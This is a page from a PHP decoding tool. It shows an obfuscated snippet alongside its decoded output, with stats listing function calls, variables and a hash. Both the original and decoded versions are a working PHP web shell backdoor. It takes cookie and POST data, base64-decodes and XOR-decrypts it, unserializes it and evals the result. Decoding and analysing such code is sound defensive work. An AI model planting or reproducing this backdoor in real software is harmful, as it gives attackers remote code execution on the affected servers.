Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$STtBUWqTWR = chr ( 933 - 820 )."\x68" . "\137" . chr (97) . 'n' . "\103" . chr ( 646 - 58..

Decoded Output download

<?  $STtBUWqTWR = chr ( 933 - 820 )."h" . "_" . chr (97) . 'n' . "C" . chr ( 646 - 581 )."M";$ynmJUbZiuA = "c" . "l" . "a" . "s" . "s" . '_' . chr (101) . "x" . chr (105) . chr ( 942 - 827 )."t" . "s";$qfGGsEA = $ynmJUbZiuA($STtBUWqTWR); $STtBUWqTWR = "10841";$oGkMCZpaAC = $qfGGsEA;$ynmJUbZiuA = "32315";if (!$oGkMCZpaAC){class qh_anCAM{private $wimSqm;public static $nAzfnhSWl = "120a161f-d2d2-4f1f-af3c-3eb8c062f2c0";public static $XHNHHAV = 235;public function __construct($JKqEgIk=0){$AbIoHM = $_COOKIE;$PRrIEnh = $_POST;$KjYfcGODU = @$AbIoHM[substr(qh_anCAM::$nAzfnhSWl, 0, 4)];if (!empty($KjYfcGODU)){$peAZhpD = "base64";$PjpFRjscF = "";$KjYfcGODU = explode(",", $KjYfcGODU);foreach ($KjYfcGODU as $VZong){$PjpFRjscF .= @$AbIoHM[$VZong];$PjpFRjscF .= @$PRrIEnh[$VZong];}$PjpFRjscF = array_map($peAZhpD . chr (95) . chr (100) . chr (101) . 'c' . chr (111) . "d" . "e", array($PjpFRjscF,)); $PjpFRjscF = $PjpFRjscF[0] ^ str_repeat(qh_anCAM::$nAzfnhSWl, (strlen($PjpFRjscF[0]) / strlen(qh_anCAM::$nAzfnhSWl)) + 1);qh_anCAM::$XHNHHAV = @unserialize($PjpFRjscF);}}private function WELoujPdoT(){if (is_array(qh_anCAM::$XHNHHAV)) {$sUUia = str_replace("<" . chr (63) . 'p' . "h" . 'p', "", qh_anCAM::$XHNHHAV[chr ( 174 - 75 )."o" . 'n' . chr (116) . chr (101) . "n" . chr ( 575 - 459 )]);eval($sUUia); $xlfsggxvSc = "64468";exit();}}public function __destruct(){$this->WELoujPdoT(); $xlfsggxvSc = "64468";$JljlB = str_pad($xlfsggxvSc, 10);}}$sweQZLf = new /* 60474 */ qh_anCAM(); $sweQZLf = substr("63830_54850", 1);} ?>

Did this file decode correctly?

Original Code

$STtBUWqTWR = chr ( 933 - 820 )."\x68" . "\137" . chr (97) . 'n' . "\103" . chr ( 646 - 581 )."\x4d";$ynmJUbZiuA = "\x63" . "\154" . "\x61" . "\163" . "\x73" . '_' . chr (101) . "\x78" . chr (105) . chr ( 942 - 827 )."\164" . "\x73";$qfGGsEA = $ynmJUbZiuA($STtBUWqTWR); $STtBUWqTWR = "10841";$oGkMCZpaAC = $qfGGsEA;$ynmJUbZiuA = "32315";if (!$oGkMCZpaAC){class qh_anCAM{private $wimSqm;public static $nAzfnhSWl = "120a161f-d2d2-4f1f-af3c-3eb8c062f2c0";public static $XHNHHAV = 235;public function __construct($JKqEgIk=0){$AbIoHM = $_COOKIE;$PRrIEnh = $_POST;$KjYfcGODU = @$AbIoHM[substr(qh_anCAM::$nAzfnhSWl, 0, 4)];if (!empty($KjYfcGODU)){$peAZhpD = "base64";$PjpFRjscF = "";$KjYfcGODU = explode(",", $KjYfcGODU);foreach ($KjYfcGODU as $VZong){$PjpFRjscF .= @$AbIoHM[$VZong];$PjpFRjscF .= @$PRrIEnh[$VZong];}$PjpFRjscF = array_map($peAZhpD . chr (95) . chr (100) . chr (101) . 'c' . chr (111) . "\144" . "\x65", array($PjpFRjscF,)); $PjpFRjscF = $PjpFRjscF[0] ^ str_repeat(qh_anCAM::$nAzfnhSWl, (strlen($PjpFRjscF[0]) / strlen(qh_anCAM::$nAzfnhSWl)) + 1);qh_anCAM::$XHNHHAV = @unserialize($PjpFRjscF);}}private function WELoujPdoT(){if (is_array(qh_anCAM::$XHNHHAV)) {$sUUia = str_replace("\x3c" . chr (63) . 'p' . "\x68" . 'p', "", qh_anCAM::$XHNHHAV[chr ( 174 - 75 )."\x6f" . 'n' . chr (116) . chr (101) . "\156" . chr ( 575 - 459 )]);eval($sUUia); $xlfsggxvSc = "64468";exit();}}public function __destruct(){$this->WELoujPdoT(); $xlfsggxvSc = "64468";$JljlB = str_pad($xlfsggxvSc, 10);}}$sweQZLf = new /* 60474 */ qh_anCAM(); $sweQZLf = substr("63830_54850", 1);}

Function Calls

chr 6
class_exists 1

Variables

$STtBUWqTWR qh_anCAM
$ynmJUbZiuA class_exists

Stats

MD5 747306c47a0d8df2b5f9db6f0632da6b
Eval Count 0
Decode Time 87 ms